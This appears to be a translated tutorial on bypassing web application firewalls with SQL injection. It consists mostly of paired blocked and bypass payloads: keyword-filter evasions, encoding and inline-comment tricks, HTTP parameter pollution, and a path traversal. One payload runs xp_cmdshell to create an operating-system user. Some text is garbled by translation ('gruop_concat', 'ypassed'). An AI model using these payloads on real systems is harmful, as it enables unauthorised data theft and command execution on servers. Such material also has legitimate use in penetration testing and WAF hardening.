Knowledge about SQL Injection bypass and SQL Injection Bypass
I. Concept of bypassing waf
Start from step 1, analyze at, and then bypass.
1. Filter and, or
preg_match('/(and|or)/i', $id)Filtered injection: 1 or 1 = 1 1 and 1 = 1Bypassed injection: 1 || 1 = 1 1 && 1 = 1
2. Filter and, or, union
preg_match('/(and|or|union)/i', $id)Filtered injection: union select user, password from usersBypassed injection: 1 || (select user from users where user_id = 1) = 'admin'
3. Filter and, or, union, where
preg_match('/(and|or|union|where)/i', $id)Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'Bypassed injection: 1 || (select user from users limit 1) = 'admin'
4. Filter and, or, union, where, limit
preg_match('/(and|or|union|where|limit)/i', $id)Filtered injection: 1 || (select user from users limit 1) = 'admin'Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
5. Filter and, or, union, where, limit, group
preg_match('/(and|or|union|where|limit|group by)/i', $id)Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
6. Filter and, or, union, where, limit, group by, select
preg_match('/(and|or|union|where|limit|group by|select)/i', $id)Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'Bypassed injection: 1 || substr(user,1,1) = 'a'
7. Filter and, or, union, where, limit, group by, select ,'
preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1Bypassed injection: 1 || user_id is not nullBypassed injection: 1 || substr(user,1,1) = 0x61Bypassed injection: 1 || substr(user,1,1) = unhex(61)
8. Filter and, or, union, where, limit, group by, select, ', hex
preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)Filtered injection: 1 || substr(user,1,1) = unhex(61)Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
9. Filter and, or, union, where, limit, group by, select, ', hex, substr
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))Bypassed injection: 1 || lpad(user,7,1)
10. Filter and, or, union, where, limit, group by, select, ', hex, substr, and space.
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)Filtered injection: 1 || lpad(user,7,1)ypassed injection: 1%0b||%0blpad(user,7,1)
Ii. Regular Expression Bypass
This function is bypassed Based on the Fuzzy Matching feature of the regular expression, for example, filtering '='
filtered injection: 1 or 1 = 1
Bypassed injection: 1 or 1,1 or ‘1',1 or char(97)
eg:filtered injection: 1 union select 1, table_name from information_schema.tables where table_name = 'users'Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7aBypassed Injection: 1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273
Iii. General Bypass
1. annotator
?id=1+un//ion+se//lect+1,2,3–
2. Case sensitivity
?id=1+UnIoN//SeLecT//1,2,3–
3. Keyword replacement
Some waf and so on use preg_replace to replace the SQL keyword
?id=1+UNunionION+SEselectLECT+1,2,3--?id=1+uni%0bon+se%0blect+1,2,3--
Sometimes the annotator '/**/' may be filtered or % 0b can be used to bypass
Forbidden: http://localhost/id/1/**/||/**/lpad(first_name,7,1).htmlBypassed : http://localhost/id/1%0b||%0blpad(first_name,7,1).html
4. Encoding
A typical Script: Nukesentinel. php
// Check for UNION attack // Copyright 2004(c) Raven PHP scripts $blocker_row = $blocker_array[1]; if($blocker_row['activate'] > 0) { if (stristr($nsnst_const['query_string'],'+union+') OR \ stristr($nsnst_const['query_string'],'%20union%20') OR \ stristr($nsnst_const['query_string'],'*/union/*') OR \ stristr($nsnst_const['query_string'],' union ') OR \ stristr($nsnst_const['query_string_base64'],'+union+') OR \ stristr($nsnst_const['query_string_base64'],'%20union%20') OR \ stristr($nsnst_const['query_string_base64'],'*/union/*') OR \ stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row); die("BLOCK IP 1 " ); } }
Forbidden: http://localhost/php/?/**/union/**/selectBypassed : http://localhost/php/?/%2A%2A/union/%2A%2A/selectBypassed : http://localhost/php/?%2f**%2funion%2f**%2fselect
5. Buffer Overflow
http://localhost/news.php?id=1+and+(select 1)=(select 0xA*1000)+union+select+1,2,version(),database(),user(),6,7,8,9,10–
6. inline annotation (mysql)
http://localhost/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--http://localhost/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
Iv. Advanced Bypass
1. HPP (http parameter contamination)
For example:
index.php?par1=val1&par1=val2| web server | par1 || :— | :— || ASP.NET/IIS | val1,val2 || ASP/IIS | val1,val2 || PHP/Apache | val2 || JSP/Tomcat | val1 |
Eg:
In an ASP/ASP. NET Environment
Forbidden: http://localhost/search.aspx?q=select name,password from usersBypassed : http://localhost/search.aspx?q=select name&q=password from usersBypassed : http://localhost/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/usersBypassed : http://localhost/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ net user test test /*&id=1*/ --
2. HPC (http parameter contamination)
RFC2396 defines the following characters:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()Reserved : ; / ? : @ & = + $ ,Unwise : { } | \ ^ [ ] `
Different Web servers use different logic to process specially crafted requests:
| Query String | Apache/2.2.16,PHP/5.3.3 | IIS6/ASP || :— | :— | :— || ?test[1=2 | test_1=2 | test[1=2 || ?test=% | test=% | test= || ?test%00=1 | test= | test=1 || ?test=1%001 | NULL | test=1 || ?test+d=1+2 | test_d=1 2 | test d=1 2 |
Eg:
Forbidden: http://localhost/?xp_cmdshellBypassed : http://localhost/?xp[cmdshellForbidden: http://localhost/test.asp?file=../flag.txtBypassed : http://localhost/test.asp?file=.%./flag.txtForbidden: http://localhost/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)Bypassed : http://localhost/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
Summary
The above is a summary of the SQL Injection bypass skills. I hope the content in this article will help you in your study or work. If you have any questions, you can leave a message, thank you for your support.